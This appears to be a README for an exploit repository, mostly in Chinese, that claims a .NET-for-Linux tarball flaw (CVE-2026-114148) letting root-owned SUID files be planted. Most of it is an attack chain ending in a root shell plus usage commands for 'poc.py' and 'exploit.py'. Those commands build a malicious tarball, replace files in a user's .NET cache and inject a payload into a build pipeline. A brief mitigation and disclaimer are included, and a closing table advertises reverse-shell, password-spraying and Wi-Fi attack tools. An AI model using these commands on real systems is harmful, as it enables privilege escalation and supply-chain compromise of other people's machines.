.NET for Linux tarball 中的 uid=0 元数据允许通过提取归 root 所有的文件实现本地权限提升。
CVE-2026-114148 v3.0.0 | .NET Linux Tarball LPE
By Gh0st-Bx1 | github.com/Ghost-Bx1
适用于 Linux 的 .NET tarball(source-build 和 ASP.NET Core)在关键可执行文件中包含 uid=0/gid=0 所有权元数据。当管理员解压这些 tarball 以在系统上安装 .NET 时(例如 /usr/local/dotnet),内核会保留这些元数据并创建归 root 所有的文件——即使该 tarball 来自不可信的来源。
能够在解压前替换或修改 tarball 的本地攻击者可以注入 SUID 可执行文件或覆盖系统二进制文件,从而导致本地权限提升至 root。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-114148 |
| CVSS | 7.8 (High) |
| CWE | CWE-276 (Incorrect Default Permissions) |
| 供应商 | Microsoft |
| 日期 | 2026 年 10 月 |
| 版本 | 受影响的 Tarball | 修复 |
|---|---|---|
| .NET 8.x | source-build + ASP.NET Core | 8.0.33 |
| .NET 9.x | source-build + ASP.NET Core | 9.0.22 |
| .NET 10.x | 仅 source-build | 10.0.14 |
| .NET 11.x | 仅 source-build | 11.0.0-preview |
Atacante controla tarball .NET
|
v
Tarball contem: uid=0, gid=0, mode=4755 no executavel 'dotnet'
|
v
Admin executa: sudo tar -xzf dotnet.tar.gz -C /usr/local/dotnet
|
v
Kernel preserva metadados: /usr/local/dotnet/dotnet owned by root, SUID
|
v
Atacante executa: /usr/local/dotnet/dotnet -> shell root
python poc.py --inspect /path/to/dotnet-8.0.33.tar.gz
python poc.py --demo --output /tmp/poc-payload.tar.gz
# Extrair como root para verificar:
sudo tar -xzf /tmp/poc-payload.tar.gz -C /tmp/teste
ls -la /tmp/teste/
python exploit.py --replace-cache ~/.dotnet/cache/
# Aguardar extracao privilegiada, depois:
python exploit.py --check-suid /usr/local/dotnet
python exploit.py --inject-pipeline --output /tmp/malicious-dotnet.tar.gz
--no-same-owner:sudo tar --no-same-owner -xzf dotnet.tar.gz本仓库仅用于教育和安全研究目的。仅在授权环境中使用。
| 工具 | 描述 |
|---|---|
| ghost-ad | Active Directory - LDAP、Kerberoasting、AS-REP Roasting、BloodHound-lite |
| ghost-cloud | 云安全 - AWS、Azure 和 GCP 错误配置扫描器 |
| ghost-fuzz | Web 模糊测试 - 目录暴力破解、参数模糊测试、虚拟主机枚举 |
| ghost-osint | OSINT - 来自公开来源的域名、电子邮件和 IP 情报 |
| ghost-privesc | 权限提升 - Linux 提权检查器、17 种向量、GTFOBins |
| ghost-recon | 侦察 - DNS、SSL、WAF、子域名枚举、电子邮件安全 |
| ghost-report | 报告 - 基于任意 ghost-* JSON 输出的渗透测试报告生成器 |
| ghost-scan | 端口扫描器 - 带横幅抓取和 CVE 关联的异步 TCP/UDP 扫描器 |
| ghost-shell | 载荷生成 - 反弹 shell 和 Web shell 生成器,支持 25+ 种语言 |
| ghost-spray | 凭据攻击 - 密码喷洒、撞库、默认凭据测试 |
| ghost-wifi | WiFi 攻击 - 监听模式、去认证、WPA/WPA2 捕获、PMKID、WPS、邪恶双胞胎 |
作者:Gh0st-Bx1